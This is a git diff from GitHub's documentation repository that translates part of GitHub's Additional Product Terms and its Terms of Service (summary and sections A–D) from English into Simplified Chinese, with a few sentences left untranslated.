-npm is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. npm is the registry of record for the JavaScript ecosystem. The npm public registry is free to use but customers are billed if they want to publish private packages or manage private packages using teams. The [npm documentation](https://docs.npmjs.com/) includes details about the limitation of account types and how to manage [private packages](https://docs.npmjs.com/about-private-packages) and [organizations](https://docs.npmjs.com/organizations). Acceptable use of the npm registry is outlined in the [open-source terms](https://www.npmjs.com/policies/open-source-terms). There are supplementary terms for both the npm [solo](https://www.npmjs.com/policies/solo-plan) and [org](https://www.npmjs.com/policies/orgs-plan) plans. The npm [Terms of Use](https://www.npmjs.com/policies/terms) apply to your use of npm.
+npm 是一种软件包托管服务，允许您私下或公开托管软件包，并将包用作项目中的依赖项。 npm 是 JavaScript 生态系统的记录注册表。 npm 公共注册表可以免费使用，但客户如果想要发布私有包或使用团队管理私有包，则需收取费用。 [npm 文档](https://docs.npmjs.com/) 包含帐户类型限制以及如何管理[私有包](https://docs.npmjs.com/about-private-packages)和[组织](https://docs.npmjs.com/organizations)的详细信息。 [开放源码条款](https://www.npmjs.com/policies/open-source-terms)概述了可接受的 npm 注册表的使用。 npm [solo](https://www.npmjs.com/policies/solo-plan) 和 [org](https://www.npmjs.com/policies/orgs-plan) 计划都有补充条款。 npm [使用条款](https://www.npmjs.com/policies/terms) 适用于您的 npm 使用。
 
 ## Packages
-GitHub Packages is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. GitHub Packages is billed on a usage basis. The [Packages documentation](/packages/learn-github-packages/introduction-to-github-packages) includes details, including bandwidth and storage quantities (depending on your Account plan), and how to monitor your Packages usage and set usage limits. Packages bandwidth usage is limited by the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies).
+GitHub Packages 是一种软件包托管服务，允许您私下或公开托管软件包，并将包用作项目中的依赖项。 GitHub Packages 按用量计费。 [Packages 文档](/packages/learn-github-packages/introduction-to-github-packages)包含详细信息，包括带宽和存储量（取决于您的帐户计划）以及如何监控您的 Packages 使用和设置使用限制。 Packages 带宽使用受 [GitHub 可接受使用政策](/github/site-policy/github-acceptable-use-policies)限制。
 
-## Pages
+## 页面
 
-Each Account comes with access to the [GitHub Pages static hosting service](/github/working-with-github-pages/about-github-pages). GitHub Pages is intended to host static web pages, but primarily as a showcase for personal and organizational projects. 
+每个帐户都可以访问 [GitHub Pages 静态托管服务](/github/working-with-github-pages/about-github-pages)。 GitHub Pages 旨在托管静态网页，但主要用作个人和组织项目的展示。
 
-GitHub Pages is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). Some monetization efforts are permitted on Pages, such as donation buttons and crowdfunding links. 
+GitHub Pages 并非旨在用于或允许用作免费的 Web 托管服务来运行您的在线业务、电子商务站点或主要针对促进商业交易或提供商业软件即服务 (SaaS) 的任何其他网站。 页面上允许一些货币化工作，如捐款按钮和筹款链接。
 
-_Bandwidth and Usage Limits_
+_带宽和使用限制_
 
-GitHub Pages are subject to some specific bandwidth and usage limits, and may not be appropriate for some high-bandwidth uses. Please see our [GitHub Pages limits](/github/working-with-github-pages/about-github-pages) for more information. 
+GitHub Pages 受某些特定带宽和使用限制的约束，可能不适用于某些高带宽用途。 Please see our [GitHub Pages limits](/github/working-with-github-pages/about-github-pages) for more information.
 
-_Prohibited Uses_
+_禁止使用_
 
 GitHub Pages may not be used in violation of the Agreement, the GitHub [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies), or the GitHub Pages service limitations set forth in the [Pages documentation](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages).
 
-If you have questions about whether your use or intended use falls into these categories, please contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). GitHub reserves the right at all times to reclaim any GitHub subdomain without liability.
+如果您对用途或预期用途是否归入这些类别有疑问，请联系 [GitHub 支持](https://support.github.com/contact?tags=docs-policy)。 GitHub 保留随时收回任何 GitHub 子域而不承担任何责任的权利。
 
-## Sponsors Program
+## 赞助计划
 
-GitHub Sponsors allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on GitHub. In order to become a Sponsored Developer, you must agree to the [GitHub Sponsors Program Additional Terms](/github/site-policy/github-sponsors-additional-terms).
+GitHub Sponsors 允许开发者社区直接在 GitHub 上为他们设计、构建和维护所需开源项目的人员及组织提供经济支持。 要成为被赞助的开发者，必须同意 [GitHub 赞助计划附加条款](/github/site-policy/github-sponsors-additional-terms)。
 
-## SQL Server Images
+## SQL Server 映像
 
-You may download Microsoft SQL Server Standard Edition container image for Linux files ("SQL Server Images"). You must uninstall the SQL Server Images when your right to use the Software ends. Microsoft Corporation may disable SQL Server Images at any time.
+您可以下载用于 Linux 文件的 Microsoft SQL Server 标准版容器映像（“SQL Server 映像”）。 当您使用本软件的权利结束时，您必须卸载 SQL Server 映像。 Microsoft Corporation 可随时禁用 SQL Server 映像。
diff --git a/translations/zh-CN/content/github/site-policy/github-terms-of-service.md b/translations/zh-CN/content/github/site-policy/github-terms-of-service.md
index 9ac616977a..b3951f780a 100644
--- a/translations/zh-CN/content/github/site-policy/github-terms-of-service.md
+++ b/translations/zh-CN/content/github/site-policy/github-terms-of-service.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms of Service
+title: GitHub 服务条款
 redirect_from:
   - /tos
   - /terms
@@ -13,303 +13,303 @@ topics:
   - Legal
 ---
 
-Thank you for using GitHub! We're happy you're here. Please read this Terms of Service agreement carefully before accessing or using GitHub. Because it is such an important contract between us and our users, we have tried to make it as clear as possible. For your convenience, we have presented these terms in a short non-binding summary followed by the full legal terms.
+感谢您使用 GitHub！ 我们很高兴在这里与您邂逅。 在访问或使用 GitHub 之前，请仔细阅读本服务条款协议。 由于它是我们与用户之间的重要合同，因此我们尽可能明确阐述。 为方便起见，我们在列出完整的法律条款之前，用简短的非约束性摘要介绍这些条款。
 
-## Summary
+## 摘要
 
-| Section | What can you find there? |
-| --- | --- |
-| [A. Definitions](#a-definitions) | Some basic terms, defined in a way that will help you understand this agreement. Refer back up to this section for clarification. |
-| [B. Account Terms](#b-account-terms) | These are the basic requirements of having an Account on GitHub.  |
-| [C. Acceptable Use](#c-acceptable-use)| These are the basic rules you must follow when using your GitHub Account. |
-| [D. User-Generated Content](#d-user-generated-content) | You own the content you post on GitHub. However, you have some responsibilities regarding it, and we ask you to grant us some rights so we can provide services to you. |
-| [E. Private Repositories](#e-private-repositories) | This section talks about how GitHub will treat content you post in private repositories. |
-| [F. Copyright & DMCA Policy](#f-copyright-infringement-and-dmca-policy) | This section talks about how GitHub will respond if you believe someone is infringing your copyrights on GitHub. |
-| [G. Intellectual Property Notice](#g-intellectual-property-notice) | This describes GitHub's rights in the website and service. |
-| [H. API Terms](#h-api-terms) | These are the rules for using GitHub's APIs, whether you are using the API for development or data collection. |
-| [I. Additional Product Terms](#i-github-additional-product-terms) | We have a few specific rules for GitHub's features and products. |
-| [J. Beta Previews](#j-beta-previews) | These are some of the additional terms that apply to GitHub's features that are still in development. |
-| [K. Payment](#k-payment) | You are responsible for payment. We are responsible for billing you accurately. |
-| [L. Cancellation and Termination](#l-cancellation-and-termination) | You may cancel this agreement and close your Account at any time. |
-| [M. Communications with GitHub](#m-communications-with-github) | We only use email and other electronic means to stay in touch with our users. We do not provide phone support. |
-| [N. Disclaimer of Warranties](#n-disclaimer-of-warranties) | We provide our service as is, and we make no promises or guarantees about this service. **Please read this section carefully; you should understand what to expect.** |
-| [O. Limitation of Liability](#o-limitation-of-liability) | We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. **Please read this section carefully; it limits our obligations to you.** |
-| [P. Release and Indemnification](#p-release-and-indemnification) | You are fully responsible for your use of the service. |
-| [Q. Changes to these Terms of Service](#q-changes-to-these-terms) | We may modify this agreement, but we will give you 30 days' notice of material changes. |
-| [R. Miscellaneous](#r-miscellaneous) | Please see this section for legal details including our choice of law. |
+| 节                                                           | 说明                                                            |
+| ----------------------------------------------------------- | ------------------------------------------------------------- |
+| [A. 定义](#a-definitions)                                     | 一些基本术语，其定义方式将有助于您理解此协议。 不明确时请回头参阅本节内容。                        |
+| [B. 帐户条款](#b-account-terms)                                 | 这些是在GitHub 上开设帐户的基本要求。                                        |
+| [C. 可接受的使用](#c-acceptable-use)                              | 这些是您使用 GitHub 帐户时必须遵循的基本规则。                                   |
+| [D. 用户生成内容](#d-user-generated-content)                      | 您在 GitHub 上发布的内容归您所有。 但您对此负有一些责任，我们请您向我们授予一些权利，以便我们能够为您提供服务。  |
+| [E. 私有仓库](#e-private-repositories)                          | 本节讨论 GitHub 如何处理您在私有仓库中发布的内容。                                 |
+| [F. 版权和 DMCA 政策](#f-copyright-infringement-and-dmca-policy) | 本节介绍当您认为有人正在侵犯您在 GitHub 上的版权时，GitHub 将如何应对。                   |
+| [G. 知识产权通告](#g-intellectual-property-notice)                | 说明 GitHub 在网站和服务中的权利。                                         |
+| [H. API 条款](#h-api-terms)                                   | 这些是使用 GitHub 的 API 时需遵守的规则，无论您是使用 API 来开发还是数据收集。              |
+| [I. 附加产品条款](#i-github-additional-product-terms)             | 我们对 GitHub 的功能和产品有一些具体的规则。                                    |
+| [J. 测试版预览](#j-beta-previews)                                | 这些是适用于 GitHub 仍在开发中的功能的一些附加条款。                                |
+| [K. 付款](#k-payment)                                         | 您负责付款。 我们负责对您准确计费。                                            |
+| [L. 取消和终止](#l-cancellation-and-termination)                 | 您可以随时取消此协议并关闭您的帐户。                                            |
+| [M. 与 GitHub 的通信](#m-communications-with-github)            | 我们只使用电子邮件和其他电子方式与用户保持联系。 我们不提供电话支持。                           |
+| [N. 免责声明](#n-disclaimer-of-warranties)                      | 我们按原样提供服务，我们对此服务不作任何承诺或保证。 **请仔细阅读本节内容；您应该理解要求。**             |
+| [O. 责任限制](#o-limitation-of-liability)                       | 对因您使用或不能使用服务或本协议下产生的损害或损失，我们不承担责任。 **请仔细阅读本节内容；它限制了我们对您的义务。** |
+| [P. 免除和赔偿](#p-release-and-indemnification)                  | 您对自己使用服务负全部责任。                                                |
+| [Q. 这些服务条款的更改](#q-changes-to-these-terms)                   | 我们可能会修改本协议，但对于重大变更，我们会提前 30 天通知您。                             |
+| [R. 其他](#r-miscellaneous)                                   | 关于法律详情，包括我们对法律的选择，请参阅本节内容。                                    |
 
-## The GitHub Terms of Service
-Effective date: November 16, 2020
+## GitHub 服务条款
+生效日期：2020 年 11 月 16 日
 
 
-## A. Definitions
-**Short version:** *We use these basic terms throughout the agreement, and they have specific meanings. You should know what we mean when we use each of the terms. There's not going to be a test on it, but it's still useful information.*
+## A. 定义
+**概述：***我们在整个协议中使用这些基本术语，它们具有特定含义。 在我们使用每个术语时，您应该了解我们表达的意思。 我们不会对定义进行检验，但它仍然是有用的信息。*
 
-1. An "Account" represents your legal relationship with GitHub. A “User Account” represents an individual User’s authorization to log in to and use the Service and serves as a User’s identity on GitHub. “Organizations” are shared workspaces that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User Account can be a member of any number of Organizations.
-2. The “Agreement” refers, collectively, to all the terms, conditions, notices contained or referenced in this document (the “Terms of Service” or the "Terms") and all other operating rules, policies (including the GitHub Privacy Statement, available at [github.com/site/privacy](https://github.com/site/privacy)) and procedures that we may publish from time to time on the Website. Most of our site policies are available at [docs.github.com/categories/site-policy](/categories/site-policy).
-3. "Beta Previews" mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings.
-4. “Content” refers to content featured or displayed through the Website, including without limitation code, text, data, articles, images, photographs, graphics, software, applications, packages, designs, features, and other materials that are available on the Website or otherwise available through the Service. "Content" also includes Services. “User-Generated Content” is Content, written or otherwise, created or uploaded by our Users. "Your Content" is Content that you create or own.
-5. “GitHub,” “We,” and “Us” refer to GitHub, Inc., as well as our affiliates, directors, subsidiaries, contractors, licensors, officers, agents, and employees.
-6. The “Service” refers to the applications, software, products, and services provided by GitHub, including any Beta Previews.
-7. “The User,” “You,” and “Your” refer to the individual person, company, or organization that has visited or is using the Website or Service; that accesses or uses any part of the Account; or that directs the use of the Account in the performance of its functions. A User must be at least 13 years of age. Special terms may apply for business or government Accounts (See [Section B(5): Additional Terms](#5-additional-terms)).
-8. The “Website” refers to GitHub’s website located at [github.com](https://github.com/), and all content, services, and products provided by GitHub at or through the Website. It also refers to GitHub-owned subdomains of github.com, such as [education.github.com](https://education.github.com/) and [pages.github.com](https://pages.github.com/). These Terms also govern GitHub’s conference websites, such as [githubuniverse.com](https://githubuniverse.com/), and product websites, such as [atom.io](https://atom.io/). Occasionally, websites owned by GitHub may provide different or additional terms of service. If those additional terms conflict with this Agreement, the more specific terms apply to the relevant page or service.
+1. “帐户”代表您与 GitHub 之间的法律关系。 “用户帐户”代表单个用户登录和使用服务的授权，并在 GitHub 上作为用户的身份。 “组织”是可能与一个实体或者一个或多个用户相关联的共享工作空间，其中多个用户可以同时跨多个项目进行协作。 用户帐户可以是任意数量的组织之成员。
+2. “协议”是一种统称，包括本文档中包含或引用的所有条款、条件、通知（“服务条款”或“条款”）和所有其他操作规则、政策（包括 GitHub 隐私声明，请参阅 [github.com/site/privacy](https://github.com/site/privacy)），以及我们可能不时在网站上发布的程序。 我们大多数站点政策可在 [docs.github.com/categories/site-policy](/categories/site-policy) 上查阅。
+3. “测试版预览”是指识别为 alpha、beta、预览、提早访问或评估或者具有类似含义的字词或短语的软件、服务或功能。
+4. “内容”是指通过网站提供或显示的内容，包括但不限于通过网站或服务提供的代码、文本、数据、文章、图像、照片、图形、软件、应用程序、程序包、设计、功能及其他材料。 “内容”也包括服务。 “用户生成的内容”是由我们用户创建或上传的书面或其他形式的内容。 “您的内容”是您创建或拥有的内容。
+5. “GitHub”和“我们是指 GitHub Inc.，以及我们的附属公司、董事、子公司、承包商、许可人、高管、代理和员工。
+6. “服务”是指 GitHub 提供的应用程序、软件、产品和服务，包括任何测试版预览。
+7. “用户”、“您”和“您的”是指访问或使用网站或服务、访问或使用帐户的任何部分或指示使用帐户以执行其功能的个人、公司或组织。 用户必须年满 13 岁。 特殊条款可能适用于企业或政府帐户（请参阅[第 B(5) 节：附加条款](#5-additional-terms)）。
+8. “网站”是指 [github.com](https://github.com/) 上的 GitHub 网站，以及 GitHub 在该网站上或通过该网站提供的所有内容、服务和产品。 它还指代 GitHub 拥有的 github.com 子域，例如 [education.github.com](https://education.github.com/) 和 [pages.github.com](https://pages.github.com/)。 这些条款还适用于 GitHub 的会议网站（例如 [githubuniverse.com](https://githubuniverse.com/)）和产品网站（例如 [atom.io](https://atom.io/)）。 有时，GitHub 拥有的网站可能会提供不同或附加的服务条款。 如果这些附加条款与本协议有冲突，则以适用于相关页面或服务的更具体条款为准。
 
-## B. Account Terms
-**Short version:** *User Accounts and Organizations have different administrative controls; a human must create your Account; you must be 13 or over; you must provide a valid email address; and you may not have more than one free Account. You alone are responsible for your Account and anything that happens while you are signed in to or using your Account. You are responsible for keeping your Account secure.*
+## B. 帐户条款
+**概述：***用户帐户和组织具有不同的管理控制权；每个用户必须创建自己的帐户；必须年满 13 岁；必须提供有效的电子邮件地址；并且不能拥有一个以上的免费帐户。 您自行负责自己的帐户以及登录或使用帐户时发生的任何事情。 您有责任确保自己的帐户安全。*
 
-### 1. Account Controls
-- Users. Subject to these Terms, you retain ultimate administrative control over your User Account and the Content within it.
+### 1. 帐户控制
+- 用户. 在符合这些条款的情况下，您对自己的用户帐户及其中的内容具有最终管理控制权。
 
-- Organizations. The "owner" of an Organization that was created under these Terms has ultimate administrative control over that Organization and the Content within it. Within the Service, an owner can manage User access to the Organization’s data and projects. An Organization may have multiple owners, but there must be at least one User Account designated as an owner of an Organization. If you are the owner of an Organization under these Terms, we consider you responsible for the actions that are performed on or through that Organization.
+- 组织. 根据这些条款创建的组织之所有者，对该组织及其中的内容具有最终管理控制权。 在服务中，所有者可以管理用户对组织数据和项目的访问。 一个组织可以有多个所有者，但必须至少指定一个用户帐户为组织的所有者。 如果您是这些条款下的组织之所有者，我们认为您应该对在该组织上或通过该组织执行的操作负责。
 
-### 2. Required Information
-You must provide a valid email address in order to complete the signup process. Any other information requested, such as your real name, is optional, unless you are accepting these terms on behalf of a legal entity (in which case we need more information about the legal entity) or if you opt for a [paid Account](#k-payment), in which case additional information will be necessary for billing purposes.
+### 2. 必需信息
+您必须提供有效的电子邮件地址才能完成注册过程。 要求的任何其他信息（例如您的真实姓名）都是可选的，除非您代表法律实体接受这些条款（在这种情况下，我们需要有关该法律实体的更多信息），或者您选择[付费帐户](#k-payment)（在这种情况下，出于计费目的需要您提供其他信息）。
 
-### 3. Account Requirements
-We have a few simple rules for User Accounts on GitHub's Service.
-- You must be a human to create an Account. Accounts registered by "bots" or other automated methods are not permitted. We do permit machine accounts:
-- A machine account is an Account set up by an individual human who accepts the Terms on behalf of the Account, provides a valid email address, and is responsible for its actions. A machine account is used exclusively for performing automated tasks. Multiple users may direct the actions of a machine account, but the owner of the Account is ultimately responsible for the machine's actions. You may maintain no more than one free machine account in addition to your free User Account.
-- One person or legal entity may maintain no more than one free Account (if you choose to control a machine account as well, that's fine, but it can only be used for running a machine).
-- You must be age 13 or older. While we are thrilled to see brilliant young coders get excited by learning to program, we must comply with United States law. GitHub does not target our Service to children under 13, and we do not permit any Users under 13 on our Service. If we learn of any User under the age of 13, we will [terminate that User’s Account immediately](#l-cancellation-and-termination). If you are a resident of a country outside the United States, your country’s minimum age may be older; in such a case, you are responsible for complying with your country’s laws.
-- Your login may only be used by one person — i.e., a single login may not be shared by multiple people. A paid Organization may only provide access to as many User Accounts as your subscription allows.
-- You may not use GitHub in violation of export control or sanctions laws of the United States or any other applicable jurisdiction. You may not use GitHub if you are or are working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions administered by a U.S. government agency.  GitHub may allow persons in certain sanctioned countries or territories to access certain GitHub services pursuant to U.S. government authorizations.  For more information, please see our [Export Controls policy](/articles/github-and-export-controls).  
+### 3. 帐户要求
+对于 GitHub 服务上的用户帐户，我们有一些简单的规则。
+- 只允许人类创建帐户。 不允许通过“自动程序”或其他自动方法注册帐户。 我们允许机器帐户：
+- 机器帐户是由代表该帐户接受条款、提供有效电子邮件地址并对其操作负责的个人所建立的帐户。 机器帐户专用于执行自动化任务。 多个用户可以指示一个机器帐户的操作，但该帐户的所有者对机器的操作承担最终责任。 除了免费用户帐户之外，您最多可以拥有一个免费机器帐户。
+- 一个人或一个法律实体最多可以拥有一个免费帐户（如果您选择还控制一个机器帐户，没问题，但是它只能用于运行机器）。
+- 用户必须年满 13 岁。 虽然我们很高兴看到优秀的年轻编码者热衷于学习编程，但我们必须遵守美国法律。 GitHub 并未针对 13 岁以下的儿童定制服务，因此我们不允许任何 13 岁以下的用户使用我们的服务。 如果我们发现任何用户未满 13 岁，我们将[立即终止该用户的帐户](#l-cancellation-and-termination)。 如果您是美国以外的国家/地区的居民，您所在国家/地区规定的最低年龄可能会更大；在这种情况下，您有责任遵守您所在国家/地区的法律。
+- 您的登录名只能由一个人使用，即不允许多人共享一个登录名。 付费组织只能在订阅允许的范围内向多个用户帐户提供访问权限。
+- 不得违反美国或任何其他适用司法管辖区的出口管制或制裁法律使用 GitHub。 如果您是[特别指定国民 (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx)或被美国政府机构实施的类似封锁或被拒方禁令所限制的个人，或者代表他们工作，则您不得使用 GitHub。 政府机构。  GitHub 可能会根据美国政府的授权，允许某些受制裁国家或地区的人访问某些 GitHub 服务。 政府授权。  更多信息请参阅我们的[出口管制政策](/articles/github-and-export-controls)。
 
-### 4. User Account Security
-You are responsible for keeping your Account secure while you use our Service. We offer tools such as two-factor authentication to help you maintain your Account's security, but the content of your Account and its security are up to you.
-- You are responsible for all content posted and activity that occurs under your Account (even when content is posted by others who have Accounts under your Account).
-- You are responsible for maintaining the security of your Account and password. GitHub cannot and will not be liable for any loss or damage from your failure to comply with this security obligation.
-- You will promptly [notify GitHub](https://support.github.com/contact?tags=docs-policy) if you become aware of any unauthorized use of, or access to, our Service through your Account, including any unauthorized use of your password or Account.
+### 4. 用户帐户安全
+在使用我们的服务时，您负责维护您的帐户安全。 我们提供双重身份验证等工具，帮助您维护帐户的安全性，但您的帐户内容及其安全性取决于您。
+- 您对在您的帐户下发布的所有内容和活动负责（即使是拥有帐户的其他人在您的帐户下发布的内容）。
+- 您负责维护您的帐户和密码的安全。 GitHub 不能也不会对您未能遵守此安全保护义务而造成的任何损失或损害承担责任。
+- 如果您获悉通过您的帐户发生任何未授权的服务使用或访问，包括对您的密码或帐户的任何未授权使用，请立即[通知 GitHub](https://support.github.com/contact?tags=docs-policy)。
 
-### 5. Additional Terms
-In some situations, third parties' terms may apply to your use of GitHub. For example, you may be a member of an organization on GitHub with its own terms or license agreements; you may download an application that integrates with GitHub; or you may use GitHub to authenticate to another service. Please be aware that while these Terms are our full agreement with you, other parties' terms govern their relationships with you.
+### 5. 附加条款
+在某些情况下，第三方的条款可能适用于您对 GitHub 的使用。 例如，您可能是 GitHub 上本身具有条款或许可协议的组织的成员；您可能下载与 GitHub 相集成的应用程序；或者，您可能使用 GitHub 来验证另一项服务。 请注意，虽然这些条款是我们与完全协商一致的，但其他方的条款则制约着他们与你的关系。
 
-If you are a government User or otherwise accessing or using any GitHub Service in a government capacity, this [Government Amendment to GitHub Terms of Service](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) applies to you, and you agree to its provisions.
+如果您是政府用户或者在政府部门访问或使用 GitHub 服务，则 [GitHub 服务条款政府修正](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/)适用，并且您同意其条款。
 
-If you have signed up for GitHub Enterprise Cloud, the [Enterprise Cloud Addendum](/articles/github-enterprise-cloud-addendum/) applies to you, and you agree to its provisions.
+如果您注册了 GitHub Enterprise Cloud，则 [Enterprise Cloud 附录](/articles/github-enterprise-cloud-addendum/)适用于您，并且您同意其规定。
 
-## C. Acceptable Use
-**Short version:** *GitHub hosts a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the service, you must follow the terms of this section, which include some restrictions on content you can post, conduct on the service, and other limitations. In short, be excellent to each other.*
+## C. 可接受的使用
+**短版本：** *GitHub 托管全球各地大量的协作项目，仅当用户能够善意一起工作时，该协作才能正常进行。 在使用服务时，必须遵守此部分的条款，包括对您可以发布的内容、对服务的操作的一些限制，以及其他限制规定。 简言之，要互惠互利。*
 
-Your use of the Website and Service must not violate any applicable laws, including copyright or trademark laws, export control or sanctions laws, or other laws in your jurisdiction. You are responsible for making sure that your use of the Service is in compliance with laws and any applicable regulations.
+您对网站和服务的使用不得违反任何相关法律，包括版权法或商标法、出口管制或制裁法律，或您的司法管辖区的法规。 您有责任确保您对服务的使用符合法律和任何适用条例。
 
-You agree that you will not under any circumstances violate our [Acceptable Use Policies](/articles/github-acceptable-use-policies) or [Community Guidelines](/articles/github-community-guidelines).
+您同意在任何情况下都不会违反我们的[可接受使用政策](/articles/github-acceptable-use-policies)或[社区指导方针](/articles/github-community-guidelines)。
 
-## D. User-Generated Content
-**Short version:** *You own content you create, but you allow us certain rights to it, so that we can display and share the content you post. You still have control over your content, and responsibility for it, and the rights you grant us are limited to those we need to provide the service. We have the right to remove content or close Accounts if we need to.*
+## D. 用户生成内容
+**短版本：** *您创建的内容归您所有，但您允许我们对其拥有某些权限，以便我们能够显示和分享您发布的内容。 您仍然可以控制您的内容并对其负责，您授予我们的权利仅限于我们提供服务所需的权利。 如果我们需要，我们有权删除内容或关闭帐户。*
 
-### 1. Responsibility for User-Generated Content
-You may create or upload User-Generated Content while using the Service. You are solely responsible for the content of, and for any harm resulting from, any User-Generated Content that you post, upload, link to or otherwise make available via the Service, regardless of the form of that Content. We are not responsible for any public display or misuse of your User-Generated Content.
+### 1. 关于用户生成内容的责任
+您在使用服务时可能创建或上传用户生成的内容。 对于您发布、上传、链接或通过服务提供的任何用户生成内容，无论内容的形式如何，您对其内容以及由此造成的任何伤害负有全部责任。 我们对用户生成内容的任何公开显示或滥用概不负责。
 
-### 2. GitHub May Remove Content
-We have the right to refuse or remove any User-Generated Content that, in our sole discretion, violates any laws or [GitHub terms or policies](/github/site-policy). User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
+### 2. GitHub 可删除内容
+我们有权删除我们认为违反了任何法律或 [GitHub 条款或政策](/github/site-policy)的用户生成内容。 User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
 
-### 3. Ownership of Content, Right to Post, and License Grants
-You retain ownership of and responsibility for Your Content. If you're posting anything you did not create yourself or do not own the rights to, you agree that you are responsible for any Content you post; that you will only submit Content that you have the right to post; and that you will fully comply with any third party licenses relating to Content you post.
+### 3. 内容所有权、发布权利和许可授予
+您对您的内容保有所有权和责任。 如果您发布不是您自己创建或者您没有所有权的内容，则您同意对您发布的任何内容负责；您只会提交您有权发布的内容；并且您将完全遵守与您发布的内容有关的任何第三方许可。
 
-Because you retain ownership of and responsibility for Your Content, we need you to grant us — and other GitHub Users — certain legal permissions, listed in Sections D.4 — D.7. These license grants apply to Your Content. If you upload Content that already comes with a license granting GitHub the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in Sections D.4 — D.7. The licenses you grant to us will end when you remove Your Content from our servers, unless other Users have forked it.
+因为您对您的内容保有所有权和责任，所以我们需要授予我们——及其他 GitHub 用户——第 D.4 — D.7 部分所列的某些法律权限。 这些许可授予适用于您的内容。 如果您上传的内容具有已经向 GitHub 授予运行服务所需权限的许可，则无需其他许可。 您了解，您对第 D.4-D.7 部分授予的任何权利不会收取任何费用。 您授予我们的许可将在您从我们的服务器删除您的内容后结束，除非其他用户已经复刻它。
 
-### 4. License Grant to Us
-We need the legal right to do things like host Your Content, publish it, and share it. You grant us and our legal successors the right to store, archive, parse, and display Your Content, and make incidental copies, as necessary to provide the Service, including improving the Service over time. This license includes the right to do things like copy it to our database and make backups; show it to you and other users; parse it into a search index or otherwise analyze it on our servers; share it with other users; and perform it, in case Your Content is something like music or video.
+### 4. 向我们授予许可
+我们需要合法的权利来为您服务，例如托管、发布以及分享您的内容。 您授权我们和我们的合法继承者存储、存档、解析和显示您的内容，以及制作附带副本，但限于提供服务的目的，包括逐步改进服务。 此许可包括如下权利：将您的内容复制到我们的数据库并制作备份；向您及其他用户显示；将其解析为搜索索引或在我们的服务器上分析；与其他用户分享；执行（如果您的内容是音乐或视频之类的内容）。
 
-This license does not grant GitHub the right to sell Your Content. It also does not grant GitHub the right to otherwise distribute or use Your Content outside of our provision of the Service, except that as part of the right to archive Your Content, GitHub may permit our partners to store and archive Your Content in public repositories in connection with the [GitHub Arctic Code Vault and GitHub Archive Program](https://archiveprogram.github.com/).
+此许可不授予 GitHub 出售您的内容的权利。 它也不授予 GitHub 出于提供服务之外的目的分发或使用您的内容的权利，但作为存档内容的权利的一部分，GitHub 可能允许我们的合作伙伴在与 [GitHub Arctic Code Vault 和 GitHub Archive Program](https://archiveprogram.github.com/) 相关联的公共仓库中存储和存档您的内容。
 
-### 5. License Grant to Other Users
-Any User-Generated Content you post publicly, including issues, comments, and contributions to other Users' repositories, may be viewed by others. By setting your repositories to be viewed publicly, you agree to allow others to view and "fork" your repositories (this means that others may make their own copies of Content from your repositories in repositories they control).
+### 5. 向其他用户授予许可
+您公开发布的任何用户生成内容，包括议题、评论以及对其他用户仓库的贡献，都可供其他人查看。 设置公开显示您的仓库，即表示您同意允许他人查看和“复刻”您的仓库（这意味着他人可以从他们控制的仓库自行复制您仓库中的内容）。
 
-If you set your pages and repositories to be viewed publicly, you grant each User of GitHub a nonexclusive, worldwide license to use, display, and perform Your Content through the GitHub Service and to reproduce Your Content solely on GitHub as permitted through GitHub's functionality (for example, through forking). You may grant further rights if you [adopt a license](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). If you are uploading Content you did not create or own, you are responsible for ensuring that the Content you upload is licensed under terms that grant these permissions to other GitHub Users.
+如果您将页面和仓库设为公开显示，则表示您向每个用户授予非独占、全球许可，允许他们通过 GitHub 服务使用、显示和执行您的内容，以及通过 GitHub 的功能（例如通过复刻）只在 GitHub 上重制您的内容。 如果您[采用许可](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository)，您得授予进一步的权利。 如果您上传不是您创建或拥有的内容，则您负责确保上传的内容根据向其他 GitHub 用户授予这些许可的条款进行许可。
 
-### 6. Contributions Under Repository License
-Whenever you add Content to a repository containing notice of a license, you license that Content under the same terms, and you agree that you have the right to license that Content under those terms. If you have a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede.
+### 6. 仓库许可下的参与。
+只要您向包含许可通告的仓库添加内容，则表示您在相同的条款下许可该内容，并且同意其有权利在这些条款下许可该内容。 如果您使用单独的协议在不同的条款下许可该内容，如参与者许可协议，则该协议优先。
 
-Isn't this just how it works already? Yep. This is widely accepted as the norm in the open-source community; it's commonly referred to by the shorthand "inbound=outbound". We're just making it explicit.
+不只是它如此运作吧？ 对。 这在开源社区中广泛接受的行为规范；通常被简称为“入站=出站”。 我们只是将它明确化了。
 
-### 7. Moral Rights
-You retain all moral rights to Your Content that you upload, publish, or submit to any part of the Service, including the rights of integrity and attribution. However, you waive these rights and agree not to assert them against us, to enable us to reasonably exercise the rights granted in Section D.4, but not otherwise.
+### 7. 精神权利
+对您上传、发布或提交到服务任何部分的内容，您保留所有精神权利，包括完整性和归属的权利。 但您对 GitHub 放弃这些权利并且同意不宣称这些权利，以便我们合理行使第 D.4 部分授予的权利，而没有任何其他目的。
 
